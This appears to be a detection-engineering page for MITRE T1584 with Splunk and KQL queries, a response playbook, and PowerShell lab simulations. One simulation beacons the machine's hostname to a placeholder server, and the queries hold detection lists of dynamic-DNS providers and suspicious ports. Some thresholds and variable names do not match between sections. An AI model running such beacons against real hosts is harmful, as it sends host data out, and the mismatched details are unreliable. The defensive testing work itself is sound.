Detect Compromise Infrastructure in Splunk
This detection identifies indicators that adversaries may be leveraging compromised third-party infrastructure — including domains, servers, DNS services, or web services — to conduct operations against the organization. Because T1584 is a PRE-ATT&CK technique focused on adversary preparation, direct detection is not possible at the moment of compromise; instead, this detection identifies downstream indicators: network connections to infrastructure with characteristics consistent with hijacked or recently compromised assets (domains with mismatched registrar history, IPs flagged in threat intelligence, DNS resolutions to newly re-pointed hostnames, and C2 beaconing patterns associated with known compromised-infrastructure campaigns). Alerts from this detection warrant investigation into whether the communicating endpoint has been targeted via phishing, drive-by compromise, or C2 channels routed through legitimate third-party infrastructure.
MITRE ATT&CK
- Tactic
- Resource Development
- Technique
- T1584 Compromise Infrastructure
- Canonical reference
- https://attack.mitre.org/techniques/T1584/
SPL Detection Query
index=* (sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" OR sourcetype="stream:dns" OR sourcetype="stream:tcp")
| eval _time=strptime(UtcTime, "%Y-%m-%d %H:%M:%S.%3N")
| eval earliest_time=relative_time(now(), "-7d@d")
| where _time >= earliest_time
(
[
| search sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
| eval dest_ip=DestinationIp, dest_port=DestinationPort, process=Image
| where NOT match(dest_ip, "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.|::1|fd)")
| where dest_port IN (80, 443, 4444, 4443, 8080, 8443, 1080, 3128, 9001, 9030)
| where NOT match(process, "(?i)(chrome\.exe|firefox\.exe|msedge\.exe|iexplore\.exe|MsMpEng\.exe|svchost\.exe|SenseIR\.exe)")
| stats count AS connection_count, dc(dest_ip) AS unique_ips, values(process) AS processes, min(_time) AS first_seen, max(_time) AS last_seen by Computer, dest_ip
| where connection_count >= 20
| eval duration_hours=round((last_seen - first_seen) / 3600, 2)
| where duration_hours > 1
| eval beacon_rate=round(connection_count / duration_hours, 2)
| where beacon_rate > 0.5 AND beacon_rate < 200
| eval alert_type="SuspiciousBeaconing"
| table _time, Computer, dest_ip, connection_count, unique_ips, processes, beacon_rate, duration_hours, alert_type
]
OR
[
| search sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=22
| eval queried_domain=QueryName, process=Image
| where match(queried_domain, "(?i)(duckdns\.org|no-ip\.com|hopto\.org|ddns\.net|servebeer\.com|myftp\.biz|redirectme\.net|zapto\.org|sytes\.net|myddns\.me|dynalias\.com|chickenkiller\.com|gotdns\.ch|crabdance\.com|ignorelist\.com)")
| stats count AS query_count, dc(Computer) AS unique_hosts, values(process) AS processes, values(Computer) AS affected_hosts by queried_domain
| where query_count >= 1
| eval alert_type="SuspiciousDynamicDNSResolution"
| eval _time=now()
| table _time, queried_domain, query_count, unique_hosts, processes, affected_hosts, alert_type
]
OR
[
| search sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
| eval dest_ip=DestinationIp, process=Image, src_host=Computer
| where NOT match(dest_ip, "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)")
| where NOT match(process, "(?i)(chrome\.exe|firefox\.exe|msedge\.exe|iexplore\.exe|MsMpEng\.exe|svchost\.exe)")
| bin _time span=1h
| stats dc(dest_ip) AS unique_dest_ips, count AS total_connections, values(process) AS processes by src_host, _time
| where unique_dest_ips >= 10 AND total_connections >= 20
| eval alert_type="PotentialFastFluxOrBotnetActivity"
| table _time, src_host, unique_dest_ips, total_connections, processes, alert_type
]
)
| sort - _timeThree-branch SPL detection using Sysmon Event ID 3 (Network Connection) and Event ID 22 (DNS Query): detects regular beaconing from non-browser processes to external IPs, DNS resolutions to dynamic DNS providers commonly used to re-point compromised infrastructure, and fast-flux-like behavior indicative of botnet or proxy network abuse through hijacked hosts.
Data Sources
Required Sourcetypes
False Positives & Tuning
- RMM agents (ConnectWise, Kaseya, Datto) making frequent connections to cloud-hosted management infrastructure
- Developers using dynamic DNS services (e.g., duckdns.org) for personal project hosting or lab environments
- Software update checkers, game launchers, or peer-to-peer applications that connect to many distinct IPs over short periods
- Security tools performing threat intelligence lookups or sandbox detonation queries against diverse external endpoints
- VPN concentrators or split-tunnel clients that route through cloud hosting IPs matching ASN-based filters
Other platforms for T1584
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1 Simulate C2 Beaconing to Compromised VPS Infrastructure
Expected signal: Sysmon Event ID 3 (Network Connection) from powershell.exe to TARGET_IP on port 8080, firing at regular 30-second intervals. DeviceNetworkEvents in Defender for Endpoint will show repeated ConnectionSuccess events from PowerShell to the destination IP.
- Test 2 DNS Resolution to Dynamic DNS Provider Domain
Expected signal: Sysmon Event ID 22 (DNS Query) entries for each domain in the $suspiciousDomains list. The Image field will show powershell.exe or the parent process. QueryName will contain the duckdns.org / ddns.net / hopto.org domains.
- Test 3 Simulate Fast-Flux Connection Pattern from Non-Browser Process
Expected signal: Sysmon Event ID 3 (Network Connection) events from powershell.exe to 10+ distinct destination IPs on port 80, all occurring within a short time window. DeviceNetworkEvents will show ConnectionAttempt or ConnectionSuccess entries for each target IP.
References (5)
- https://attack.mitre.org/techniques/T1584/
- https://www.mandiant.com/resources/apt1-exposing-one-of-chinas-cyber-espionage-units
- https://blog.talosintelligence.com/dnspionage-campaign-targets-middle-east/
- https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html
- https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-258a
Response Playbook
Triage
- Step 1: Identify the specific alert type fired (beaconing, dynamic DNS, or fast-flux). Pull the full DeviceNetworkEvents log for the affected device and remote IP/domain, spanning -24h to now.
- Step 2: For beaconing alerts — calculate the standard deviation of inter-connection intervals. Highly regular intervals (low stddev) are strong C2 indicators. Irregular but frequent connections are more likely legitimate.
- Step 3: Resolve the remote IP or domain through an external threat intelligence platform (VirusTotal, Shodan, Censys, or internal TIP). Check: age of domain, registrar, hosting ASN, passive DNS history showing recent IP re-pointing, any malware family associations.
- Step 4: Identify the initiating process: check parent process tree (DeviceProcessEvents joined on InitiatingProcessId). A browser or system process spawning an unexpected child that then beacons is high priority. PowerShell, wscript, mshta, or LOLBins as the beaconing process are critical.
- Step 5: Check if the remote IP appears in any other organization endpoints' connection logs. Lateral spread across multiple devices connecting to the same compromised infrastructure indicates active campaign, not isolated incident.
- Step 6: Review the payload size pattern. C2 over compromised servers often shows small outbound (heartbeat), medium inbound (tasking) pattern. Exfiltration shows large outbound bursts. Document byte totals for BytesSent vs BytesReceived.
- Step 7: For dynamic DNS alerts — determine if the resolving process is expected to use that domain. Developer tools may legitimately use duckdns; check with the device owner before escalating.
- Step 8: Query SecurityEvent table for 4624/4625 logon events on the affected device in the same window. Concurrent authentication anomalies alongside network beaconing elevate severity.
Containment
- If the device shows confirmed beaconing with no known-legitimate explanation: isolate via Microsoft Defender for Endpoint using 'Isolate device' action from the device portal, preserving the ability to continue investigation remotely.
- Block the remote IP and domain at the network perimeter (firewall, proxy, DNS RPZ) and document the block with ticket reference. Do NOT silently block without documentation — the block may disrupt ongoing investigation visibility.
- If the compromised infrastructure is hosted on a known provider (e.g., DigitalOcean, Linode, Hetzner), consider reporting the abuse to the hosting provider via their abuse channel. This may disrupt the adversary's infrastructure for the broader campaign.
- Revoke and rotate credentials for any service accounts or user accounts whose processes were identified as beaconing. Check for credential access techniques (T1003, T1552) that may have preceded this activity.
- For dynamic DNS abuse: submit the domain to the dynamic DNS provider's abuse report form. Major providers (No-IP, DuckDNS) respond to abuse reports and can suspend malicious hostnames.
Evidence Collection
- Export full network event log for affected device: DeviceNetworkEvents | where DeviceId == '<id>' | where Timestamp between (ago(7d) .. now()) — save as CSV for forensic preservation.
- Collect process memory dump of the beaconing process if the endpoint agent supports it. Memory will contain decoded C2 configuration, encryption keys, and potentially staged payloads.
- Export DNS cache from the affected endpoint: `ipconfig /displaydns > dns_cache.txt` — captures recently resolved hostnames including any fast-flux resolution history.
- Collect Sysmon operational log (Microsoft-Windows-Sysmon/Operational) from the affected host for the relevant time window, exported as EVTX.
- Capture network traffic pcap if feasible via endpoint agent or inline sensor for the beaconing connection. Even 5 minutes of capture may reveal C2 protocol structure.
- Document the full passive DNS history for all external IPs and domains involved, noting any recent changes in A record targets within the past 30 days (use VirusTotal passive DNS, SecurityTrails, or RiskIQ).
- Collect prefetch files from C:\Windows\Prefetch\ for the beaconing process executable to establish first execution time and frequency.
Escalation Criteria
- !Escalate to IR immediately if beaconing process is a system process (lsass.exe, services.exe, winlogon.exe) — indicates process injection into trusted processes for C2 persistence.
- !Escalate if the same remote IP/domain is seen in connection logs across 3 or more distinct endpoints — indicates active campaign leveraging compromised infrastructure for broad targeting.
- !Escalate if threat intelligence confirms the remote IP or domain is actively attributed to a known threat actor campaign (APT or financially motivated group) within the past 90 days.
- !Escalate if payload analysis reveals use of known post-exploitation frameworks (Cobalt Strike, Metasploit, Sliver, Brute Ratel) being staged or executed via the compromised infrastructure.
- !Escalate if data exfiltration indicators are present: BytesSent > 10MB in a single session, connections to cloud storage domains, or archive creation (zip/tar/rar) activity immediately preceding the beaconing.
- !Escalate if the beaconing endpoint is a server, domain controller, or privileged workstation — blast radius of compromise is significantly higher.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Windows DNS client cache: `ipconfig /displaydns` output captures recent resolutions to compromised domains - >
Sysmon Event ID 22 logs: DNS query name, queried process, and resolved IP provide full resolution chain - >
Sysmon Event ID 3 logs: source process, destination IP, destination port, and connection state for all network connections - >
Browser history and cached DNS: useful if initial compromise was via drive-by from a compromised web service - >
Windows Prefetch (C:\Windows\Prefetch\): execution history of beaconing processes - >
Network adapter ARP cache: `arp -a` may show recently contacted hosts before DNS cache expires - >
EDR process tree: full parent-child chain showing how beaconing process was launched - >
Firewall and proxy logs: corroborate endpoint telemetry and may show additional destinations not captured by endpoint agent - >
Memory forensics (volatility2/3 on acquired memory image): `netscan` plugin shows live and recently closed connections; `malfind` can identify injected modules in system processes
Tuning Guidance
Start by building an allowlist of known-legitimate VPN, RMM, and update service domains and IPs specific to your environment. Pull 30 days of DeviceNetworkEvents for your endpoints, identify the top 50 most-connected external destinations, and verify each against your software inventory — these become your baseline exclusions. For beaconing detection, adjust the BeaconingThreshold variable (currently 20 connections) based on your environment's noise floor; start high (50+) and lower incrementally. The dynamic DNS alert will generate volume in developer-heavy environments — consider adding a device group filter to exclude developer workstations or scope to servers only for initial deployment. Review the SuspiciousASNs list against your cloud vendors; if your organization legitimately hosts services on DigitalOcean or Hetzner, add destination IP allowlists for those specific services. For the fast-flux hunt, exclude known peer-to-peer software (Teams, Slack, Zoom) which legitimately connects to many IPs.
Hunting Queries
Hunts for non-browser, non-security-tool processes making HTTPS connections to major VPS/cloud hosting provider IP ranges commonly used as compromised infrastructure. Identifies unusual software beaconing to hosting ASNs that legitimate applications rarely need to contact directly.
// Hunt for non-browser processes making HTTPS connections to hosting providers
// commonly used as compromised VPS infrastructure
let HostingASNRanges = dynamic([
"104.21.", "172.67.", // Cloudflare
"157.245.", "167.99.", "161.35.", "174.138.", // DigitalOcean
"51.77.", "51.89.", "54.36.", "147.135.", // OVH
"195.201.", "78.46.", "116.203.", // Hetzner
"45.33.", "45.56.", "45.79." // Linode/Akamai
]);
DeviceNetworkEvents
| where Timestamp > ago(14d)
| where RemotePort == 443
| where ActionType == "ConnectionSuccess"
| where not(ipv4_is_private(RemoteIP))
| where InitiatingProcessFileName !in~ ("chrome.exe","firefox.exe","msedge.exe","iexplore.exe","opera.exe","brave.exe","safari","curl","wget")
| where InitiatingProcessFileName !in~ ("MsMpEng.exe","SenseCncProxy.exe","MsSense.exe","SenseIR.exe","OneDrive.exe","Teams.exe","Outlook.exe","explorer.exe")
| where (RemoteIP startswith "104.21." or RemoteIP startswith "172.67." or RemoteIP startswith "157.245." or RemoteIP startswith "167.99." or RemoteIP startswith "161.35." or RemoteIP startswith "51.77." or RemoteIP startswith "195.201." or RemoteIP startswith "78.46." or RemoteIP startswith "45.33.")
| summarize
ConnectionCount = count(),
UniqueIPs = dcount(RemoteIP),
DomainsSeen = make_set(RemoteUrl, 10),
DeviceList = make_set(DeviceName, 5)
by InitiatingProcessFileName, InitiatingProcessFolderPath
| where ConnectionCount >= 5
| sort by ConnectionCount descindex=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3 DestinationPort=443
| eval process=Image, dest_ip=DestinationIp, dest_host=DestinationHostname
| where NOT match(process, "(?i)(chrome\.exe|firefox\.exe|msedge\.exe|iexplore\.exe|MsMpEng\.exe|OneDrive\.exe|Teams\.exe|Outlook\.exe)")
| where (match(dest_ip, "^104\.21\.") OR match(dest_ip, "^172\.67\.") OR match(dest_ip, "^157\.245\.") OR match(dest_ip, "^167\.99\.") OR match(dest_ip, "^161\.35\.") OR match(dest_ip, "^195\.201\.") OR match(dest_ip, "^78\.46\.") OR match(dest_ip, "^45\.(33|56|79)\."))
| stats count AS conn_count, dc(dest_ip) AS unique_ips, values(dest_ip) AS dest_ips, values(Computer) AS affected_hosts by process
| where conn_count >= 5
| sort - conn_countHunts for IP addresses being reached by many different domain names (possible domain fronting or CDN-hosted C2 infrastructure) and endpoints resolving unusually high numbers of distinct domains in a short window (possible DGA or fast-flux rotation through compromised DNS).
// Hunt for DNS resolution patterns consistent with domain fronting or compromised CDN abuse
// Domain fronting: SNI differs from actual Host header target
DeviceNetworkEvents
| where Timestamp > ago(14d)
| where RemotePort == 443
| where ActionType == "ConnectionSuccess"
| where isnotempty(RemoteUrl)
// Detect mismatch between resolved IP and domain — same IP reached via many different hostnames
| summarize
DomainsPerIP = dcount(RemoteUrl),
DomainList = make_set(RemoteUrl, 20),
ConnectionCount = count(),
ProcessList = make_set(InitiatingProcessFileName, 5),
DeviceList = make_set(DeviceName, 5)
by RemoteIP
| where DomainsPerIP >= 10
// Filter out known CDN IPs by excluding very high connection counts that indicate legitimate CDN
| where ConnectionCount < 50000
| sort by DomainsPerIP desc
| project RemoteIP, DomainsPerIP, ConnectionCount, DomainList, ProcessList, DeviceListindex=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=22
| eval domain=QueryName, process=Image
| where isnotnull(domain) AND len(domain) > 0
| stats dc(domain) AS domains_resolved, values(domain) AS domain_list, count AS total_queries, values(process) AS processes by Computer
| where domains_resolved >= 50 AND total_queries >= 100
| eval suspicious_ratio=round(total_queries / domains_resolved, 2)
| where suspicious_ratio < 2
| sort - domains_resolvedHunts for DNS resolutions and TLS connections to high-entropy domain names (likely algorithmically generated or randomly provisioned on compromised infrastructure) and IP-based hostnames using nip.io/sslip.io style domains commonly used to provision TLS certs for compromised server IPs without registering a real domain.
// Hunt for certificate transparency log mismatches — process connecting to domain
// whose TLS certificate CN doesn't match the destination URL (possible hijacked cert)
// Uses DeviceNetworkEvents TLS fields where available
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemotePort == 443
| where ActionType == "ConnectionSuccess"
| where isnotempty(RemoteUrl)
| where isnotempty(TunnelType) or isnotempty(Protocol)
// Focus on unexpected processes making TLS connections to destinations with
// low-reputation or newly registered domain indicators in the URL
| where RemoteUrl matches regex @"(?i)([a-z0-9]{16,}\.(com|net|org|info|biz)|[0-9]{1,3}-[0-9]{1,3}-[0-9]{1,3}-[0-9]{1,3}\.(sslip\.io|nip\.io|xip\.io))"
| where InitiatingProcessFileName !in~ ("chrome.exe","firefox.exe","msedge.exe","MsMpEng.exe")
| summarize
Count = count(),
Devices = make_set(DeviceName, 5),
Processes = make_set(InitiatingProcessFileName, 5)
by RemoteUrl, RemoteIP
| sort by Count descindex=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=22
| eval domain=QueryName
| where match(domain, "[a-z0-9]{16,}\.(com|net|org|info|biz)$") OR match(domain, "[0-9]+-[0-9]+-[0-9]+-[0-9]+\.(sslip\.io|nip\.io|xip\.io)$")
| stats count AS query_count, dc(Computer) AS host_count, values(Computer) AS hosts, values(Image) AS processes by domain
| sort - query_countAtomic Red Team Tests
Simulates a C2 implant beaconing to a remote server at regular intervals, mimicking the pattern produced by malware using compromised infrastructure. Uses PowerShell to make repeated HTTP connections to a controlled external endpoint, producing Sysmon Event ID 3 network connection events and triggering the beaconing detection branch.
Command
# WARNING: Run only in isolated lab environment against a server you control
# Replace TARGET_IP with an IP you own for testing
$targetUrl = "http://YOUR_CONTROLLED_SERVER_IP:8080/beacon"
$beaconInterval = 30 # seconds
$beaconCount = 25 # total connections (exceeds 20-connection threshold)
$processName = "powershell.exe"
Write-Host "[*] Starting simulated C2 beacon to $targetUrl"
Write-Host "[*] Sending $beaconCount beacons at $beaconInterval second intervals"
for ($i = 1; $i -le $beaconCount; $i++) {
try {
$response = Invoke-WebRequest -Uri $targetUrl -Method POST -Body "beacon=$i&host=$env:COMPUTERNAME" -TimeoutSec 5 -UseBasicParsing -ErrorAction Stop
Write-Host "[+] Beacon $i sent - Status: $($response.StatusCode)"
} catch {
Write-Host "[-] Beacon $i failed: $($_.Exception.Message)"
}
if ($i -lt $beaconCount) { Start-Sleep -Seconds $beaconInterval }
}
Write-Host "[*] Beacon simulation complete"Cleanup
# No cleanup required - connections are ephemeral
# Verify test data in Sysmon logs:
Get-WinEvent -LogName 'Microsoft-Windows-Sysmon/Operational' -FilterXPath "*[EventData[Data[@Name='EventType']='Network connection detected'] and EventData[Data[@Name='Image'] contains 'powershell']]" | Select-Object -Last 10 | Format-ListExpected Telemetry
Sysmon Event ID 3 (Network Connection) from powershell.exe to TARGET_IP on port 8080, firing at regular 30-second intervals. DeviceNetworkEvents in Defender for Endpoint will show repeated ConnectionSuccess events from PowerShell to the destination IP.
Expected Detection
Beaconing alert should fire after approximately 20 connections (within ~10 minutes at 30-second intervals). Alert should show: ConnectionCount >= 20, BeaconRate between 0.5-200 per hour, SampleProcesses containing 'powershell.exe'.
Simulates malware resolving a C2 hostname registered on a dynamic DNS provider (duckdns.org) to locate compromised infrastructure. Produces Sysmon Event ID 22 (DNS Query) with the suspicious domain name that triggers the dynamic DNS detection branch. Uses nslookup and PowerShell to generate the resolution events.
Command
# This test resolves a benign test hostname on duckdns.org to simulate the DNS pattern
# No network connection is made to any malicious infrastructure
$suspiciousDomains = @(
"test-argus-detection.duckdns.org",
"argus-test-node.ddns.net",
"detection-test.hopto.org"
)
Write-Host "[*] Simulating DNS resolutions to dynamic DNS provider domains"
foreach ($domain in $suspiciousDomains) {
Write-Host "[*] Resolving: $domain"
try {
$result = Resolve-DnsName -Name $domain -Type A -ErrorAction Stop
Write-Host "[+] Resolved $domain -> $($result.IPAddress -join ', ')"
} catch {
# NXDOMAIN is expected for test hostnames - the DNS QUERY is what matters for detection
Write-Host "[~] DNS query sent for $domain (NXDOMAIN is acceptable for test)"
# Fallback: use nslookup which still generates Event ID 22
nslookup $domain 2>&1 | Out-Null
}
}
Write-Host "[*] DNS simulation complete - check Sysmon Event ID 22 logs"Cleanup
# Flush DNS cache after test
ipconfig /flushdns
Write-Host "[*] DNS cache flushed"Expected Telemetry
Sysmon Event ID 22 (DNS Query) entries for each domain in the $suspiciousDomains list. The Image field will show powershell.exe or the parent process. QueryName will contain the duckdns.org / ddns.net / hopto.org domains.
Expected Detection
SuspiciousDynamicDNSResolution alert should fire for each resolution matching the dynamic DNS provider regex pattern. The alert will show the queried domain, the resolving process (powershell.exe), and the affected host.
Simulates the network activity pattern produced by an implant enrolled in a botnet or proxy network using compromised infrastructure, where the malware makes connections to many distinct external IPs rapidly. Generates Sysmon Event ID 3 events from a non-browser process to 10+ distinct public IPs within a single hour window, matching the fast-flux detection threshold.
Command
# Simulates fast-flux pattern by connecting to multiple distinct public IPs
# Uses public NTP servers (UDP 123) and HTTP servers as harmless connection targets
# These are legitimate public servers - only the PATTERN is being tested, not the content
$testTargets = @(
"162.159.200.1", # Cloudflare NTP
"216.239.35.0", # Google NTP
"129.6.15.28", # NIST NTP
"132.163.96.1", # NIST NTP alternate
"140.82.112.3", # GitHub
"151.101.1.140", # Fastly CDN
"104.244.42.1", # Twitter/X CDN
"31.13.65.36", # Meta CDN
"52.94.236.248", # Amazon
"13.107.42.14", # Microsoft CDN
"172.217.5.110" # Google
)
$port = 80
Write-Host "[*] Simulating fast-flux pattern: connecting to $($testTargets.Count) distinct public IPs"
$successCount = 0
foreach ($ip in $testTargets) {
try {
$tcp = New-Object System.Net.Sockets.TcpClient
$connectResult = $tcp.BeginConnect($ip, $port, $null, $null)
$waited = $connectResult.AsyncWaitHandle.WaitOne(1000)
if ($waited) {
$successCount++
Write-Host "[+] Connected to $ip`:$port"
} else {
Write-Host "[~] Timeout connecting to $ip`:$port (connection attempt logged)"
}
$tcp.Close()
} catch {
Write-Host "[~] $ip`:$port - $($_.Exception.Message) (attempt still logged)"
}
}
Write-Host "[*] Fast-flux simulation complete. $successCount/$($testTargets.Count) connections established."
Write-Host "[*] Check Sysmon Event ID 3 for powershell.exe connections to distinct IPs"Cleanup
# No persistent state to clean up
# Verify generated events:
Get-WinEvent -LogName 'Microsoft-Windows-Sysmon/Operational' -FilterXPath "*[System[EventID=3] and EventData[Data[@Name='Image'] contains 'powershell']]" | Select-Object -Last 15 | Format-List TimeCreated, MessageExpected Telemetry
Sysmon Event ID 3 (Network Connection) events from powershell.exe to 10+ distinct destination IPs on port 80, all occurring within a short time window. DeviceNetworkEvents will show ConnectionAttempt or ConnectionSuccess entries for each target IP.
Expected Detection
PotentialFastFluxOrBotnetActivity alert should fire within the same 1-hour bin, showing unique_dest_ips >= 10 and total_connections >= 10 from powershell.exe. The alert identifies the host, process, and count of distinct destination IPs contacted.